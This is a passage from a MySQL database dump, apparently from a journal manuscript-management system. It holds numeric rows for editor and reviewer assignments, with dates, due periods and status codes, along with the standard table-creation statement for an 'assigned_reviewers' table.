08','2024-05-27',1,'2',251,1),(10727,357,14782,'2024-05-08','2024-05-27',1,'2',251,1),(10728,357,14781,'2024-05-08','2024-05-27',1,'2',251,1),(10729,357,14780,'2024-05-08','2024-05-27',1,'2',251,1),(10730,357,14779,'2024-05-08','2024-05-27',1,'2',251,1),(10731,357,14778,'2024-05-08',NULL,0,NULL,251,1),(10732,357,14777,'2024-05-08',NULL,0,NULL,251,1),(10733,357,14776,'2024-05-08',NULL,0,NULL,251,1),(10734,357,14775,'2024-05-08',NULL,0,NULL,251,1),(10735,189,14824,'2024-05-08','2024-05-09',0,'2',45,1),(10736,189,14823,'2024-05-08','2024-05-09',0,'2',45,1),(10737,189,14822,'2024-05-08','2024-05-09',0,'2',45,1),(10738,189,14821,'2024-05-08','2024-05-09',0,'2',45,1),(10739,189,14820,'2024-05-08','2024-05-09',0,'2',45,1),(10740,189,14819,'2024-05-08','2024-05-09',0,'2',45,1),(10741,189,14818,'2024-05-08','2024-05-09',0,'2',45,1),(10742,189,14817,'2024-05-08','2024-05-09',0,'2',45,1),(10743,189,14816,'2024-05-08','2024-05-09',0,'2',45,1),(10744,189,14815,'2024-05-08','2024-05-09',0,'2',45,1),(10745,1408,14814,'2024-05-08','2024-05-08',0,'2',86,1),(10746,1408,14813,'2024-05-08','2024-05-08',0,'2',86,1),(10747,1408,14812,'2024-05-08','2024-05-08',0,'2',86,1),(10748,1408,14811,'2024-05-08','2024-05-08',0,'2',86,1),(10749,1408,14810,'2024-05-08','2024-05-08',0,'2',86,1),(10750,1408,14809,'2024-05-08','2024-05-08',0,'2',86,1),(10751,1408,14808,'2024-05-08','2024-05-08',0,'2',86,1),(10752,1408,14807,'2024-05-08','2024-05-08',0,'2',86,1),(10753,1408,14806,'2024-05-08','2024-05-08',0,'2',86,1),(10754,1408,14805,'2024-05-08','2024-05-08',0,'2',86,1),(10755,1781,14793,'2024-05-09','2024-05-23',1,'2',91,1),(10756,1705,14792,'2024-05-09','2024-05-23',1,'2',91,1),(10757,1452,14791,'2024-05-09','2024-05-23',1,'2',91,1),(10758,1245,14790,'2024-05-09','2024-05-23',1,'2',91,1),(10759,1011,14789,'2024-05-09','2024-05-23',1,'2',91,1),(10760,194,14825,'2024-05-14','2024-05-15',1,'2',45,1),(10761,194,14831,'2024-05-15','2024-05-27',1,'2',45,1),(10762,1456,14830,'2024-05-10',NULL,0,NULL,667,1),(10763,1456,14829,'2024-05-10',NULL,0,NULL,667,1),(10764,1370,14828,'2024-05-10',NULL,0,NULL,667,1),(10765,1732,14827,'2024-05-10',NULL,0,NULL,667,1),(10766,1732,14826,'2024-05-10',NULL,0,NULL,667,1),(10767,1456,14833,'2024-05-10',NULL,0,NULL,667,1),(10768,1456,14832,'2024-05-10',NULL,0,NULL,667,1),(10769,161,14837,'2024-05-14','2024-05-14',0,'2',73,1),(10770,1788,14838,'2024-05-14','2024-05-14',0,'2',73,1),(10771,162,14846,'2024-05-14','2024-05-14',0,'2',73,1),(10772,162,14845,'2024-05-14','2024-05-14',0,'2',73,1),(10773,1788,14844,'2024-05-14','2024-05-14',0,'2',73,1),(10774,1788,14843,'2024-05-14','2024-05-14',0,'2',73,1),(10775,1788,14842,'2024-05-14','2024-05-14',0,'2',73,1),(10776,1788,14841,'2024-05-14','2024-05-14',0,'2',73,1),(10777,162,14840,'2024-05-14','2024-05-14',0,'2',73,1),(10778,1788,14839,'2024-05-14','2024-05-14',0,'2',73,1),(10779,1456,14836,'2024-05-14',NULL,0,NULL,667,1),(10780,1370,14835,'2024-05-14',NULL,0,NULL,667,1),(10781,1456,14834,'2024-05-14',NULL,0,NULL,667,1),(10782,162,14847,'2024-05-15',NULL,0,NULL,73,1),(10783,1408,14859,'2024-05-16','2024-05-16',0,'2',86,1),(10784,1408,14858,'2024-05-16','2024-05-16',0,'2',86,1),(10785,1408,14857,'2024-05-16','2024-05-16',0,'2',86,1),(10786,1408,14856,'2024-05-16','2024-05-16',0,'2',86,1),(10787,1408,14855,'2024-05-16','2024-05-16',0,'2',86,1),(10788,1408,14854,'2024-05-16','2024-05-16',0,'2',86,1),(10789,1408,14853,'2024-05-16','2024-05-16',0,'2',86,1),(10790,1408,14852,'2024-05-16','2024-05-16',0,'2',86,1),(10791,1408,14851,'2024-05-16','2024-05-16',0,'2',86,1),(10792,1408,14850,'2024-05-16','2024-05-16',0,'2',86,1),(10793,1068,14867,'2024-05-17',NULL,0,NULL,326,1),(10794,1067,14866,'2024-05-17',NULL,0,NULL,326,1),(10795,1791,14865,'2024-05-17',NULL,0,NULL,326,1),(10796,1070,14864,'2024-05-17',NULL,0,NULL,326,1),(10797,1069,14863,'2024-05-17',NULL,0,NULL,326,1),(10798,1068,14862,'2024-05-17',NULL,0,NULL,326,1),(10799,1067,14861,'2024-05-17',NULL,0,NULL,326,1),(10800,1791,14860,'2024-05-17',NULL,0,NULL,326,1),(10801,1070,14849,'2024-05-17',NULL,0,NULL,326,1),(10802,1069,14848,'2024-05-17',NULL,0,NULL,326,1),(10803,1789,14887,'2024-05-17',NULL,0,NULL,277,1),(10804,1789,14886,'2024-05-17',NULL,0,NULL,277,1),(10805,1789,14885,'2024-05-17',NULL,0,NULL,277,1),(10806,1789,14884,'2024-05-17',NULL,0,NULL,277,1),(10807,1789,14883,'2024-05-17',NULL,0,NULL,277,1),(10808,1789,14882,'2024-05-17',NULL,0,NULL,277,1),(10809,1789,14881,'2024-05-17',NULL,0,NULL,277,1),(10810,1789,14880,'2024-05-17',NULL,0,NULL,277,1),(10811,1789,14879,'2024-05-17',NULL,0,NULL,277,1),(10812,1797,14877,'2024-05-17',NULL,0,NULL,975,1),(10813,1796,14876,'2024-05-17',NULL,0,NULL,975,1),(10814,1783,14875,'2024-05-17',NULL,0,NULL,975,1),(10815,1779,14874,'2024-05-17',NULL,0,NULL,975,1),(10816,1410,14873,'2024-05-17',NULL,0,NULL,975,1),(10817,1797,14872,'2024-05-17',NULL,0,NULL,975,1),(10818,1796,14871,'2024-05-17',NULL,0,NULL,975,1),(10819,1779,14870,'2024-05-17',NULL,0,NULL,975,1),(10820,1779,14869,'2024-05-17',NULL,0,NULL,975,1),(10821,1410,14868,'2024-05-17',NULL,0,NULL,975,1),(10822,1787,14888,'2024-05-20',NULL,0,NULL,959,1),(10823,1315,14889,'2024-05-20',NULL,0,NULL,959,1),(10824,1784,14890,'2024-05-20',NULL,0,NULL,959,1),(10825,1315,14891,'2024-05-20',NULL,0,NULL,959,1),(10826,1786,14892,'2024-05-20',NULL,0,NULL,959,1),(10827,1324,14893,'2024-05-20',NULL,0,NULL,959,1),(10828,194,14895,'2024-05-20','2024-05-27',1,'2',45,1),(10829,1452,14878,'2024-05-20','2024-05-23',1,NULL,91,1),(10830,194,14894,'2024-05-20','2024-05-27',1,'2',45,1),(10831,1788,14896,'2024-05-21',NULL,0,NULL,73,1),(10832,1788,14898,'2024-05-24',NULL,0,NULL,73,1),(10833,1788,14897,'2024-05-24',NULL,0,NULL,73,1),(10834,1805,14899,'2024-05-27',NULL,0,NULL,639,1),(10835,1708,14900,'2024-05-27',NULL,0,NULL,639,1),(10836,1806,14908,'2024-05-27',NULL,0,NULL,639,1),(10837,1803,14907,'2024-05-27',NULL,0,NULL,639,1),(10838,1804,14906,'2024-05-27',NULL,0,NULL,639,1),(10839,1806,14905,'2024-05-27',NULL,0,NULL,639,1),(10840,1805,14904,'2024-05-27',NULL,0,NULL,639,1),(10841,1804,14903,'2024-05-27',NULL,0,NULL,639,1),(10842,633,14902,'2024-05-27',NULL,0,NULL,639,1),(10843,1806,14901,'2024-05-27',NULL,0,NULL,639,1),(10844,1806,14909,'2024-05-29',NULL,0,NULL,639,1);
/*!40000 ALTER TABLE `assigned_editors` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `assigned_reviewers`
--

DROP TABLE IF EXISTS `assigned_reviewers`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `assigned_reviewers` (
  `ar_id` int NOT NULL AUTO_INCREMENT,
  `r_id` int NOT NULL,
  `m_id` int NOT NULL,
  `a_id` int NOT NULL,
  `e_id` int NOT NULL,
  `j_id` int NOT NULL,
  `r_asign_date` date NOT NULL,
  `rev_due_date` varchar(50) DEFAULT NULL,
  `r_status` int DEFAULT '0',
  PRIMARY KEY (`ar_id`),
  KEY `index_r_id` (`r_id`),
  KEY `index_m_id` (`m_id`),
  KEY `index_a_id` (`a_id`),
  KEY `index_e_id` (`e_id`),
  KEY `index_j_id` (`j_id`)
) ENGINE=InnoDB AUTO_INCREMENT=74895 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `assigned_reviewers`
--

LOCK TABLES `assigned_reviewers` WRITE;
/*!40000 ALTER TABLE `assigned_reviewers` DISABLE KEYS */;
INSERT INTO `assigned_reviewers` VALUES (786,889,422,496,188,45,'2019-07-18','7 days',0),(787,888,422,496,188,45,'2019-07-18','7 days',1),(788,887,422,496,188,45,'2019-07-18','7 days',1),(789,886,422,496,188,45,'2019-07-18','7 days',0),(790,885,422,496,188,45,'2019-07-18','7 days',0),(791,884,422,496,188,45,'2019-07-18','7 days',1),(792,883,422,496,188,45,'2019-07-18','7 days',0),(793,882,422,496,188,45,'2019-07-18','7 days',1),(794,881,422,496,188,45,'2019-07-18','7 days',0),(795,880,422,496,188,45,'2019-07-18','7 days',1),(796,879,422,496,188,45,'2019-07-18','7 days',0),(797,878,422,496,188,45,'2019-07-18','7 days',1),(798,877,422,496,188,45,'2019-07-18','7 days',0),(799,876,422,496,188,45,'2019-07-18','7 days',0),(800,900,427,499,192,45,'2019-07-18','7 days',0),(801,899,427,499,192,45,'2019-07-18','7 days',0),(802,898,427,499,192,45,'2019-07-18','7 days',0),(803,897,427,499,192,45,'2019-07-18','7 days',0),(804,896,427,499,192,45,'2019-07-18','7 days',0),(805,895,427,499,192,45,'2019-07-18','7 days',0),(806,894,427,499,192,45,'2019-07-18','7 days',0),(807,893,427,499,192,45,'2019-07-18','7 days',0),(808,892,427,499,192,45,'2019-07-18','7 days',0),(809,891,427,499,192,45,'2019-07-18','7 days',0),(810,911,428,499,193,45,'2019-07-18','7 days',0),(811,910,428,499,193,45,'2019-07-18','7 days',0),(812,909,428,499,193,45,'2019-07-18','7 days',0),(813,908,428,499,193,45,'2019-07-18','7 days',0),(814,907,428,499,193,45,'2019-07-18','7 days',0),(815,906,428,499,193,45,'2019-07-18','7 days',0),(816,905,428,499,193,45,'2019-07-18','7 days',0),(817,904,428,499,193,45,'2019-07-18','7 days',0),(818,903,428,499,193,45,'2019-07-18','7 days',1),(819,902,428,499,193,45,'2019-07-18','7 days',0),(868,939,453,524,203,86,'2019-07-19','7 days',0),(869,938,453,524,203,86,'2019-07-19','7 days',2),(871,936,453,524,203,86,'2019-07-19','7 days',1),(938,989,453,524,203,86,'2019-07-22','7 days',0),(939,988,453,524,203,86,'2019-07-22','7 days',0),(940,987,453,524,203,86,'2019-07-22','7 days',0),(941,986,453,524,203,86,'2019-07-22','7 days',0),(942,985,453,524,203,86,'2019-07-22','7 days',0),(943,984,453,524,203,86,'2019-07-22','7 days',0),(944,940,453,524,203,86,'2019-07-22','7 days',0),(1054,1107,453,524,203,86,'2019-07-24','7 days',0),(1056,1106,453,524,203,86,'2019-07-24','7 days',0),(1057,1105,453,524,203,86,'2019-07-24','7 days',2),(1058,1104,453,524,203,86,'2019-07-24','7 days',0),(1067,1116,453,524,203,86,'2019-07-24','7 days',0),(1072,1128,453,524,203,86,'2019-07-24','7 days',1),(1073,1127,453,524,203,86,'2019-07-24','7 days',1),(1074,1126,453,524,203,86,'2019-07-24','7 days',0),(1146,633,613,718,161,73,'2019-07-25','7 days',1),(1147,661,602,702,160,73,'2019-07-25','7 days',1),(1148,642,602,702,160,73,'2019-07-25','7 days',0),(1149,640,602,702,160,73,'2019-07-25','7 days',0),(1183,633,602,702,160,73,'2019-07-26','7 days',1),(1186,633,627,737,160,73,'2019-07-26','7 days',1),(1363,656,630,740,160,73,'2019-07-28','7 days',1),(1364,653,630,740,160,73,'2019-07-28','7 days',0),(1365,668,630,740,160,73,'2019-07-28','7 days',0),(1366,671,627,737,160,73,'2019-07-28','7 days',2),(1367,656,627,737,160,73,'2019-07-28','7 days',1),(1368,653,627,737,160,73,'2019-07-28','7 days',0),(1376,1359,422,496,188,45,'2019-07-29','7 days',1),(1377,1358,422,496,188,45,'2019-07-29','7 days',1),(1426,1408,423,498,189,45,'2019-07-29','7 days',0),(1427,1407,423,498,189,45,'2019-07-29','7 days',0),(1428,1406,423,498,189,45,'2019-07-29','7 days',1),(1429,1405,423,498,189,45,'2019-07-29','7 days',1),(1847,652,628,738,162,73,'2019-07-30','7 days',0),(1848,658,628,738,162,73,'2019-07-30','7 days',0),(1849,673,628,738,162,73,'2019-07-30','7 days',1),(1850,671,629,739,162,73,'2019-07-30','7 days',2),(1851,653,629,739,162,73,'2019-07-30','7 days',0),(1852,663,629,739,162,73,'2019-07-30','7 days',1),(1853,632,747,870,162,73,'2019-07-30','7 days',2),(1854,656,747,870,162,73,'2019-07-30','7 days',1),(1855,660,747,870,162,73,'2019-07-30','7 days',1),(2028,1974,425,498,190,45,'2019-08-01','7 days',1),(2029,1973,425,498,190,45,'2019-08-01','7 days',0),(2082,1989,548,637,192,45,'2019-08-01','7 days',1),(2093,1990,549,499,194,45,'2019-08-01','7 days',1),(2094,1000,549,499,194,45,'2019-08-01','7 days',1),(2335,633,631,740,161,73,'2019-08-02','7 days',1),(2343,2207,427,499,192,45,'2019-08-03','7 days',1),(2344,2206,427,499,192,45,'2019-08-03','7 days',1),(2345,2204,427,499,192,45,'2019-08-03','7 days',0),(2747,664,629,739,162,73,'2019-08-07','7 days',0),(2748,658,629,739,162,73,'2019-08-07','7 days',0),(2749,672,628,738,162,73,'2019-08-07','7 days',0),(2750,640,628,738,162,73,'2019-08-07','7 days',0),(2751,636,628,738,162,73,'2019-08-07','7 days',1),(2752,635,628,738,162,73,'2019-08-07','7 days',0),(2765,1128,917,1081,204,86,'2019-08-08','7 days',1),(2766,1127,917,1081,204,86,'2019-08-08','7 days',0),(2767,1126,917,1081,204,86,'2019-08-08','7 days',1),(2768,1116,917,1081,204,86,'2019-08-08','7 days',0),(2769,1107,917,1081,204,86,'2019-08-08','7 days',0),(2770,1106,917,1081,204,86,'2019-08-08','7 days',0),(2771,1105,917,1081,204,86,'2019-08-08','7 days',0),(2772,1104,917,1081,204,86,'2019-08-08','7 days',0),(2773,989,917,1081,204,86,'2019-08-08','7 days',0),(2774,988,917,1081,204,86,'2019-08-08','7 days',0),(2775,987,917,1081,204,86,'2019-08-08','7 days',0),(2776,986,917,1081,204,86,'2019-08-08','7 days',0),(2777,985,917,1081,204,86,'2019-08-08','7 days',0),(2778,984,917,1081,204,86,'2019-08-08','7 days',0),(2779,940,917,1081,204,86,'2019-08-08','7 days',0),(2780,939,917,1081,204,86,'2019-08-08','7 days',0),(2781,938,917,1081,204,86,'2019-08-08','7 days',2),(2783,936,917,1081,204,86,'2019-08-08','7 days',1),(2792,633,630,740,160,73,'2019-08-08','7 days',0),(3235,3243,1023,1214,359,251,'2019-08-13','7 days',0),(3236,3242,1023,1214,359,251,'2019-08-13','7 days',0),(3237,3241,1023,1214,359,251,'2019-08-13','7 days',0),(3238,3240,1023,1214,359,251,'2019-08-13','7 days',0),(3239,3239,1023,1214,359,251,'2019-08-13','7 days',0),(3240,3238,1023,1214,359,251,'2019-08-13','7 days',1),(3241,3237,1023,1214,359,251,'2019-08-13','7 days',0),(3242,3236,1023,1214,359,251,'2019-08-13','7 days',0),(3243,3235,1023,1214,359,251,'2019-08-13','7 days',0),(3244,3234,1023,1214,359,251,'2019-08-13','7 days',0),(3248,3253,1024,1215,359,251,'2019-08-13','7 days',2),(3249,3252,1024,1215,359,251,'2019-08-13','7 days',0),(3250,3251,1024,1215,359,251,'2019-08-13','7 days',0),(3251,3250,1024,1215,359,251,'2019-08-13','7 days',0),(3252,3249,1024,1215,359,251,'2019-08-13','7 days',0),(3253,3248,1024,1215,359,251,'2019-08-13','7 days',0),(3254,3247,1024,1215,359,251,'2019-08-13','7 days',0),(3255,3246,1024,1215,359,251,'2019-08-13','7 days',0),(3256,3262,1025,1216,357,251,'2019-08-13','7 days',0),(3257,3261,1025,1216,357,251,'2019-08-13','7 days',0),(3258,3260,1025,1216,357,251,'2019-08-13','7 days',0),(3259,3259,1025,1216,357,251,'2019-08-13','7 days',0),(3260,3258,1025,1216,357,251,'2019-08-13','7 days',0),(3261,3257,1025,1216,357,251,'2019-08-13','7 days',0),(3262,3256,1025,1216,357,251,'2019-08-13','7 days',0),(3263,3255,1025,1216,357,251,'2019-08-13','7 days',0),(3801,3704,917,1081,204,86,'2019-08-14','7 days',2),(3802,3703,917,1081,204,86,'2019-08-14','7 days',0),(3803,3702,917,1081,204,86,'2019-08-14','7 days',0),(3804,3701,917,1081,204,86,'2019-08-14','7 days',0),(3805,3700,917,1081,204,86,'2019-08-14','7 days',0),(4455,4275,1025,1216,357,251,'2019-08-20','7 days',0),(4456,4274,1025,1216,357,251,'2019-08-20','7 days',0),(4457,4273,1025,1216,357,251,'2019-08-20','7 days',0),(4458,4272,1025,1216,357,251,'2019-08-20','7 days',0),(4459,4271,1025,1216,357,251,'2019-08-20','7 days',0),(4460,4270,1025,1216,357,251,'2019-08-20','7 days',0),(4461,4269,1025,1216,357,251,'2019-08-20','7 days',0),(4477,4284,917,1081,204,86,'2019-08-20','7 days',1),(4524,3243,1024,1215,359,251,'2019-08-20','7 days',0),(4525,3242,1024,1215,359,251,'2019-08-20','7 days',0),(4526,3241,1024,1215,359,251,'2019-08-20','7 days',0),(4527,3240,1024,1215,359,251,'2019-08-20','7 days',0),(4528,3239,1024,1215,359,251,'2019-08-20','7 days',0),(4529,3238,1024,1215,359,251,'2019-08-20','7 days',1),(4530,3237,1024,1215,359,251,'2019-08-20','7 days',0),(4531,3236,1024,1215,359,251,'2019-08-20','7 days',0),(4532,3235,1024,1215,359,251,'2019-08-20','7 days',0),(4533,3234,1024,1215,359,251,'2019-08-20','7 days',0),(4534,3253,1023,1214,359,251,'2019-08-20','7 days',2),(4535,3252,1023,1214,359,251,'2019-08-20','7 days',0),(4536,3251,1023,1214,359,251,'2019-08-20','7 days',0),(4537,3250,1023,1214,359,251,'2019-08-20','7 days',0),(4538,3249,1023,1214,359,251,'2019-08-20','7 days',0),(4539,3248,1023,1214,359,251,'2019-08-20','7 days',0),(4540,3247,1023,1214,359,251,'2019-08-20','7 days',0),(4541,3246,1023,1214,359,251,'2019-08-20','7 days',0),(4852,4516,1452,1774,633,639,'2019-08-20','7 days',1),(4853,4514,1452,1774,633,639,'2019-08-20','7 days',1),(4854,4499,1452,1774,633,639,'2019-08-20','7 days',2),(4855,4467,1452,1774,633,639,'2019-08-20','7 days',2),(4856,4460,1452,1774,633,639,'2019-08-20','7 days',2),(4857,4510,1452,1774,633,639,'2019-08-20','7 days',0),(4858,4506,1452,1774,633,639,'2019-08-20','7 days',1),(4859,4452,1452,1774,633,639,'2019-08-20','7 days',0),(4860,4512,1452,1774,633,639,'2019-08-20','7 days',1),(4861,4494,1452,1774,633,639,'2019-08-20','7 days',1),(4862,4487,1452,1774,633,639,'2019-08-20','7 days',1),(4863,4483,1452,1774,633,639,'2019-08-20','7 days',0),(4864,4477,1452,1774,633,639,'2019-08-20','7 days',2),(4865,4473,1452,1774,633,639,'2019-08-20','7 days',2),(4866,4502,1452,1774,633,639,'2019-08-20','7 days',0),(4870,633,1011,1201,161,73,'2019-08-20','7 days',2),(5313,633,628,738,162,73,'2019-08-21','7 days',1),(5314,651,1457,1780,160,73,'2019-08-21','7 days',1),(5315,644,1457,1780,160,73,'2019-08-21','7 days',1),(5316,643,1457,1780,160,73,'2019-08-21','7 days',0),(5317,635,1457,1780,160,73,'2019-08-21','7 days',0),(5843,1989,429,499,194,45,'2019-08-23','7 days',1),(5860,2207,1476,1804,195,45,'2019-08-23','7 days',1),(5861,2206,1476,1804,195,45,'2019-08-23','7 days',0),(5865,2238,1360,1658,194,45,'2019-08-23','7 days',1),(5882,887,1246,1422,191,45,'2019-08-23','7 days',1),(5883,886,1246,1422,191,45,'2019-08-23','7 days',0),(5885,2205,969,499,195,45,'2019-08-23','7 days',0),(5886,885,563,656,191,45,'2019-08-23','7 days',0),(5887,884,563,656,191,45,'2019-08-23','7 days',1),(5888,884,715,809,188,45,'2019-08-23','7 days',1),(5889,883,715,809,188,45,'2019-08-23','7 days',0),(5890,882,820,956,190,45,'2019-08-23','7 days',1),(5891,879,820,956,190,45,'2019-08-23','7 days',0),(5892,881,726,499,189,45,'2019-08-23','7 days',0),(5893,880,726,499,189,45,'2019-08-23','7 days',1),(5895,878,816,951,193,45,'2019-08-23','7 days',1),(5896,877,816,951,193,45,'2019-08-23','7 days',0),(5937,5403,1024,1215,359,251,'2019-08-23','7 days',2),(5938,5402,1024,1215,359,251,'2019-08-23','7 days',0),(5939,5401,1024,1215,359,251,'2019-08-23','7 days',2),(5940,5400,1024,1215,359,251,'2019-08-23','7 days',2),(5943,5409,1025,1216,357,251,'2019-08-23','7 days',1),(5944,5408,1025,1216,357,251,'2019-08-23','7 days',0),(5945,5407,1025,1216,357,251,'2019-08-23','7 days',1),(5946,5406,1025,1216,357,251,'2019-08-23','7 days',1),(5947,5405,1025,1216,357,251,'2019-08-23','7 days',0),(5948,5404,1025,1216,357,251,'2019-08-23','7 days',1),(6002,1989,430,499,195,45,'2019-08-23','7 days',1),(6003,2238,430,499,195,45,'2019-08-23','7 days',1),(6004,1990,430,499,195,45,'2019-08-23','7 days',0),(6005,911,430,499,195,45,'2019-08-23','7 days',2),(6006,910,430,499,195,45,'2019-08-23','7 days',0),(6007,909,430,499,195,45,'2019-08-23','7 days',0),(6008,908,430,499,195,45,'2019-08-23','7 days',0),(6009,1000,969,499,195,45,'2019-08-23','7 days',1),(6010,1989,969,499,195,45,'2019-08-23','7 days',1),(6011,905,969,499,195,45,'2019-08-23','7 days',0),(6012,904,969,499,195,45,'2019-08-23','7 days',0),(6013,2238,969,499,195,45,'2019-08-23','7 days',1),(6014,1973,969,499,195,45,'2019-08-23','7 days',0),(6015,910,1476,1804,195,45,'2019-08-23','7 days',0),(6016,909,1476,1804,195,45,'2019-08-23','7 days',0),(6017,908,1476,1804,195,45,'2019-08-23','7 days',0),(6018,907,1476,1804,195,45,'2019-08-23','7 days',0),(6207,652,1011,1201,161,73,'2019-08-26','7 days',0),(6208,651,1011,1201,161,73,'2019-08-26','7 days',1),(6209,644,1011,1201,161,73,'2019-08-26','7 days',0),(6210,643,1011,1201,161,73,'2019-08-26','7 days',0),(6211,638,1011,1201,161,73,'2019-08-26','7 days',0),(6212,671,630,740,160,73,'2019-08-26','7 days',2),(6213,673,630,740,160,73,'2019-08-26','7 days',0),(6214,667,630,740,160,73,'2019-08-26','7 days',1),(6215,666,630,740,160,73,'2019-08-26','7 days',2),(6216,670,1497,1841,162,73,'2019-08-26','7 days',0),(6217,660,1497,1841,162,73,'2019-08-26','7 days',1),(6218,665,1497,1841,162,73,'2019-08-26','7 days',0),(6219,662,1497,1841,162,73,'2019-08-26','7 days',0),(6220,633,1497,1841,162,73,'2019-08-26','7 days',2),(6364,5738,917,1081,204,86,'2019-08-26','7 days',2),(6365,5736,917,1081,204,86,'2019-08-26','7 days',0),(6366,5734,917,1081,204,86,'2019-08-26','7 days',2),(6367,5732,917,1081,204,86,'2019-08-26','7 days',0),(6368,5731,917,1081,204,86,'2019-08-26','7 days',0),(6369,5730,917,1081,204,86,'2019-08-26','7 days',0),(6370,5729,917,1081,204,86,'2019-08-26','7 days',0),(6371,5728,917,1081,204,86,'2019-08-26','7 days',0),(6386,5755,1394,1697,203,86,'2019-08-26','7 days',0),(6387,5754,1394,1697,203,86,'2019-08-26','7 days',0),(6388,5753,1394,1697,203,86,'2019-08-26','7 days',0),(6389,5751,1394,1697,203,86,'2019-08-26','7 days',1),(6390,5749,1394,1697,203,86,'2019-08-26','7 days',0),(6391,5747,1394,1697,203,86,'2019-08-26','7 days',0),(6392,5745,1394,1697,203,86,'2019-08-26','7 days',0),(6393,5743,1394,1697,203,86,'2019-08-26','7 days',0),(6394,5741,1394,1697,203,86,'2019-08-26','7 days',1),(6395,5739,1394,1697,203,86,'2019-08-26','7 days',2),(6417,5799,1674,2077,221,85,'2019-08-26','7 days',2),(6418,5798,1674,2077,221,85,'2019-08-26','7 days',0),(6419,5797,1674,2077,221,85,'2019-08-26','7 days',0),(6420,5796,1674,2077,221,85,'2019-08-26','7 days',0),(6421,5795,1674,2077,221,85,'2019-08-26','7 days',1),(6422,5794,1674,2077,221,85,'2019-08-26','7 days',0),(6424,5792,1674,2077,221,85,'2019-08-26','7 days',0),(6425,5791,1674,2077,221,85,'2019-08-26','7 days',0),(6484,5799,555,617,221,85,'2019-08-27','7 days',2),(6485,5798,555,617,221,85,'2019-08-27','7 days',0),(6486,5797,555,617,221,85,'2019-08-27','7 days',1),(6487,5796,555,617,221,85,'2019-08-27','7 days',0),(6488,5795,555,617,221,85,'2019-08-27','7 days',0),(6489,5794,555,617,221,85,'2019-08-27','7 days',0),(6491,5792,555,617,221,85,'2019-08-27','7 days',0),(6492,5791,555,617,221,85,'2019-08-27','7 days',0),(6523,2238,1676,2078,191,45,'2019-08-27','7 days',1),(6990,6188,917,1081,204,86,'2019-08-29','7 days',0),(7022,6199,1394,1697,203,86,'2019-08-29','7 days',0),(7023,6219,1674,2077,221,85,'2019-08-29','7 days',0),(7047,6246,1674,2077,221,85,'2019-08-29','7 days',0),(7048,6245,1674,2077,221,85,'2019-08-29','7 days',0),(7049,6242,1674,2077,221,85,'2019-08-29','7 days',2),(7050,6240,1674,2077,221,85,'2019-08-29','7 days',0),(7051,6239,1674,2077,221,85,'2019-08-29','7 days',0),(7052,6238,1674,2077,221,85,'2019-08-29','7 days',2),(7053,6237,1674,2077,221,85,'2019-08-29','7 days',0),(7054,6236,1674,2077,221,85,'2019-08-29','7 days',2),(7055,6244,1674,2077,221,85,'2019-08-29','7 days',2),(7056,6199,1290,618,222,85,'2019-08-29','7 days',0),(7057,5755,1290,618,222,85,'2019-08-29','7 days',0),(7058,5754,1290,618,222,85,'2019-08-29','7 days',2),(7059,5753,1290,618,222,85,'2019-08-29','7 days',2),(7060,5751,1290,618,222,85,'2019-08-29','7 days',1),(7061,5749,1290,618,222,85,'2019-08-29','7 days',0),(7062,5747,1290,618,222,85,'2019-08-29','7 days',0),(7063,5745,1290,618,222,85,'2019-08-29','7 days',0),(7064,5743,1290,618,222,85,'2019-08-29','7 days',0),(7065,5741,1290,618,222,85,'2019-08-29','7 days',1),(7066,5739,1290,618,222,85,'2019-08-29','7 days',0),(7260,6348,917,1081,204,86,'2019-08-30','7 days',1),(7999,6886,1024,1215,359,251,'2019-09-05','7 days',2),(8000,6885,1024,1215,359,251,'2019-09-05','7 days',0),(8001,6884,1024,1215,359,251,'2019-09-05','7 days',0),(8002,6883,1024,1215,359,251,'2019-09-05','7 days',0),(8003,6882,1024,1215,359,251,'2019-09-05','7 days',0),(8004,6881,1024,1215,359,251,'2019-09-05','7 days',0),(8005,6880,1024,1215,359,251,'2019-09-05','7 days',2),(8006,6879,1024,1215,359,251,'2019-09-05','7 days',2),(8010,6894,1025,1216,357,251,'2019-09-05','7 days',0),(8011,6893,1025,1216,357,251,'2019-09-05','7 days',0),(8012,6892,1025,1216,357,251,'2019-09-05','7 days',0),(8013,6891,1025,1216,357,251,'2019-09-05','7 days',0),(8014,6890,1025,1216,357,251,'2019-09-05','7 days',0),(8015,6889,1025,1216,357,251,'2019-09-05','7 days',0),(8016,6888,1025,1216,357,251,'2019-09-05','7 days',0),(8017,6887,1025,1216,357,251,'2019-09-05','7 days',0),(8122,7022,1998,2526,1011,91,'2019-09-05','7 days',1),(8123,7021,1998,2526,1011,91,'2019-09-05','7 days',1),(8124,7020,2051,2613,1012,91,'2019-09-05','7 days',0),(8125,7019,1998,2526,1011,91,'2019-09-05','7 days',0),(8126,7023,1998,2526,1011,91,'2019-09-05','7 days',1),(8127,7019,2051,2613,1012,91,'2019-09-05','7 days',0),(8327,7147,2051,2613,1012,91,'2019-09-06','7 days',0),(8328,7146,2051,2613,1012,91,'2019-09-06','7 days',0),(8329,7145,2051,2613,1012,91,'2019-09-06','7 days',0),(8330,7143,2051,2613,1012,91,'2019-09-06','7 days',0),(8331,7142,2051,2613,1012,91,'2019-09-06','7 days',0),(8332,7140,2051,2613,1012,91,'2019-09-06','7 days',0),(8333,7138,2051,2613,1012,91,'2019-09-06','7 days',1),(8334,7137,2051,2613,1012,91,'2019-09-06','7 days',0),(8435,7022,2079,2641,1011,91,'2019-09-06','7 days',1),(8436,7207,2079,2641,1011,91,'2019-09-06','7 days',0),(8437,7206,2079,2641,1011,91,'2019-09-06','7 days',0),(8438,7211,1863,2316,1012,91,'2019-09-06','7 days',0),(8439,7210,1863,2316,1012,91,'2019-09-06','7 days',2),(8440,7209,1863,2316,1012,91,'2019-09-06','7 days',1),(8441,7208,1863,2316,1012,91,'2019-09-06','7 days',1),(8442,7213,1863,2316,1012,91,'2019-09-06','7 days',1),(8443,7212,1863,2316,1012,91,'2019-09-06','7 days',1),(8523,7287,1863,2316,1012,91,'2019-09-07','7 days',1),(8526,7286,1863,2316,1012,91,'2019-09-07','7 days',1),(8528,7308,2051,2613,1012,91,'2019-09-07','7 days',0),(8529,7307,2051,2613,1012,91,'2019-09-07','7 days',2),(8530,7306,2051,2613,1012,91,'2019-09-07','7 days',2),(8531,7305,2051,2613,1012,91,'2019-09-07','7 